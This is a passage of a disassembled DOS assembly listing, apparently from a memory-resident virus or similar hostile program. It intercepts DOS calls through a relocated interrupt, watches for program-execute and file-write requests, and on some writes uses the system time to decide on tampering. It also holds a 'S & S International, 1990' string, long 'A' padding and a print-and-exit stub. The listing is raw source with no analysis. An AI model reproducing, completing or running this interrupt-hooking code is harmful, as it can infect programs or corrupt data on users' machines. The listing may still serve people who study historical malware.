  763.         mov    dx,108h
  764.         push    cs
  765.         pop    ds
  766.         int    7Eh            ; ??INT Non-standard interrupt.
  767. loc_54:
  768.         sti                ; Enable interrupts
  769.         jmp    short loc_56        ; (06AA)
  770. loc_55:
  771.         cli                ; Disable interrupts
  772.         xor    ax,ax            ; Zero register
  773.         mov    cs:data_30,ah        ; (936E:05DA=0FFh)
  774.         mov    ss,cs:data_31        ; (936E:05DB=0A10h)
  775.         mov    sp,cs:data_32        ; (936E:05DD=743h)
  776.         pop    ax
  777.         pop    bx
  778.         pop    cx
  779.         pop    dx
  780.         pop    bp
  781.         pop    si
  782.         pop    di
  783.         pop    ds
  784.         pop    es
  785.         popf                ; Pop flags
  786.         sti                ; Enable interrupts
  787.         jmp    cs:data_35        ; (936E:05E4=138Dh)
  788.         db    90h
  789. loc_56:
  790.         pop    ax
  791.         pop    bx
  792.         push    bx
  793.         push    ax
  794.         cmp    ah,4Bh            ; 'K'
  795.         je    loc_61            ; Jump if equal
  796.         cmp    ah,40h            ; '@'
  797.         jne    loc_57            ; Jump if not equal
  798.         jmp    short loc_60        ; (06CC)
  799. loc_57:
  800.         cmp    ah,0Eh
  801.         jne    loc_58            ; Jump if not equal
  802.         jmp    short loc_55        ; (0687)
  803. loc_58:
  804.         cmp    ah,4Eh            ; 'N'
  805.         jne    loc_55            ; Jump if not equal
  806.         jmp    short loc_55        ; (0687)
  807.         db    90h
  808. loc_59:
  809.         jmp    loc_62            ; (0783)
  810. loc_60:
  811.         mov    ax,0Fh
  812.         cmp    cs:data_29,al        ; (936E:05D9=0)
  813.         jb    loc_55            ; Jump if below
  814.         ja    loc_59            ; Jump if above
  815.         cmp    bx,4
  816.         jbe    loc_55            ; Jump if below or =
  817.         mov    bx,1
  818.         push    cs
  819.         pop    ds
  820.         add    ds:data_11e,bx        ; (936E:00FA=0)
  821.         mov    ah,2Ch            ; ','
  822.         int    7Eh            ; ??INT Non-standard interrupt.
  823.         cmp    dh,ds:data_11e        ; (936E:00FA=0)
  824.         ja    loc_55            ; Jump if above
  825.         mov    bx,data_3e        ; (0A10:000E=1)
  826.         add    bx,data_32        ; (936E:05DD=743h)
  827.         mov    ss:[bx],bx
  828.         jmp    short loc_55        ; (0687)
  829.         db     01h, 90h, 90h, 90h
  830. loc_61:
  831.         jmp    loc_63            ; (1A7F)
  832.         db    'Hello - Copyright S & S Internat'
  833.         db    'ional, 1990', 0Ah, 0Dh, '$'
  834.         db     1Ah, 41h, 41h
  835.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  836.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  837.         db    'AAAAAAAAAAAAAAA'
  838. loc_62:
  839.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  840.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  841.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  842.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  843.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  844.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  845.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  846.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  847.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  848.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  849.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  850.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  851.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  852.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  853.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  854.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  855.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  856.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  857.         db    'AAAAAAAAAAAA'
  858.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  859.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  860.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  861.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  862.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  863.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  864.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  865.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  866.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  867.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  868.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  869.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  870.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  871.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  872.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  873.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  874.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  875.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  876.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  877.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  878.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  879.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  880.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  881.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  882.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  883.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  884.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  885.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  886.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  887.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  888.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  889.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  890.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  891.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  892.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  893.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  894.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  895.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  896.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  897.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  898.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  899.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  900.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  901.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  902.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  903.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  904.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  905.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  906.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  907.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  908.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  909.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  910.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  911.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  912.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  913.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  914.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  915.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  916.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  917.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  918.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  919.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  920.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  921.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  922.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  923.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  924.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  925.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  926.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  927.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  928.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  929.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  930.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  931.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  932.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  933.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  934.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  935.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  936.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  937.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  938.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  939.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  940.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  941.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  942.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  943.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  944.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  945.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  946.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  947.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  948.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  949.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  950.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  951.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  952.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  953.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  954.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  955.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  956.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  957.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  958.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  959.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  960.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  961.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  962.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  963.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  964.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  965.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  966.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  967.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  968.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  969.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  970.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  971.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  972.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  973.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  974.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  975.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  976.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  977.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  978.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  979.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  980.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  981.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  982.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  983.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  984.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  985.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  986.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  987.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  988.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  989.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  990.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  991.         db    'AAAAAAAAAAAAAAAA'
  992. loc_63:
  993.         mov    ah,9
  994.         mov    dx,offset data_14    ; (936E:0103=90h)
  995.         int    21h            ; DOS Services  ah=function 09h
  996.                         ;  display char string at ds:dx
  997.         int    20h            ; Program Terminate
  998.   
  999. seg_a        ends
  1000.   
  1001.   
  1002.   
  1003.         end    start
  1004.